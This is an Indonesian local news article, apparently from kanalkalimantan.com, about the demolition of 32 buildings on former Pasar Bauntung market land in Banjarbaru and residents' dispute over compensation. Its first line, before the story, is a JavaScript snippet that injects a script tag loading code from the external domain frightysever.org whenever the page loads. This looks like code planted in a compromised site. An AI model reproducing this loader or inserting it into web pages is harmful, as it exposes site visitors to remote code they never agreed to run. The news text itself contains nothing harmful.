(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sedikitnya ada 32 bangunan yang diratakan oleh petugas pembongkaran di bekas alias eks Pasar Bauntung Banjarbaru, Selasa (15/2/2022).
Bangunan itu berdiri di atas lahan aset milik Pemerintah Kota (Pemko) Banjarbaru yang bersifat HGB (Hak Guna Bangunan) saja.
Salah seorang warga Iman mengatakan, banyak warga yang masih belum menerima pembongkaran bangunan di lahan bekas Pasar Bauntung Banjarbaru, karena dilatarbelakangi ganti rugi yang diberikan Pemko Banjarbaru kepada para warga tidak disetujui warga.
“Masalahnya, tali asih yang asal 3 juta per bangunan, namun warga banyak menolak, kemudian minta dinaikkan sebesar 5 juta,” ujar Iman.
Baca juga: Tiga Kali Surat Peringatan, Akhirnya Bangunan di Bekas Pasar Bauntung Banjarbaru Dibongkar
Namun dengan ganti rugi sebesar 5 juta itu, menurut warga masih sangat kurang dikarenakan kehidupan masa sekarang yang serba sulit, kemudian warga diminta untuk membuat proposal.
“Dalam proposal kami ajukan untuk 3 juta per meter, namun Pemko tidak menyanggupi dan proposal kami dikembalikan tanpa diberikan alasan,” ungkapnya.
Dikatakan Iman, dirinya sudah sejak lahir tahun 1959 berada di lahan bekas Pasar Bauntung tersebut, bahkan ayahnya sudah memulai usaha tahun 1952 sebelum adanya pasar.
Karena semakin rami tiap tahunnya timbullah inisiasi warga untuk membangun pasar.
Diakui Iman, status tanah di lahan bekas Pasar Bauntung merupakan HGB milik Pemko Banjarbaru.
“Dari pengakuannya pemerintah,” tuntasnya.
Baca juga: Mendaki Gunung Pamaton, Youtuber Amuntai Tersesat Sejak Dua Hari Lalu Ditemukan!
Sementara itu, Kepala Satpol PP Banjarbaru, Hidayaturaman mengatakan, ada 32 bangunan yang dibongkar di bekas Pasar Bauntung yang menempati lahan Pemko.
“Jumlahnya kurang lebih ada 32 toko, hari ini akan dibersihkan serta dirapikan,” katanya.
Dikatakannya bangunan warga tersebut berdiri di laha milik Pemko sedari lama.
“Kita sudah lakukan mediasi dan negosiasi dengan tahapan yang panjang,” tambahnya.
Masih kata Dayat, dari negosiasi dan mediasi tidak terjadi kesepakatan antara warga dan Pemko. Bahkan sudah ditawarkan tali asih dari Pemko, namun tidak ada persetujuan dari warga hingga dilakukan penaikan tali asih, sehingga tetap dilakukan penertiban bangunan.
“Karena mereka tidak setuju, tali asih tidak akan dibayarkan,” tandasnya.(kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More
KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bentuk apresiasi menjaga kelestarian lingkungan, kebersihan, dan pengelolaan sampah yang baik, Pemerintah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
This website uses cookies.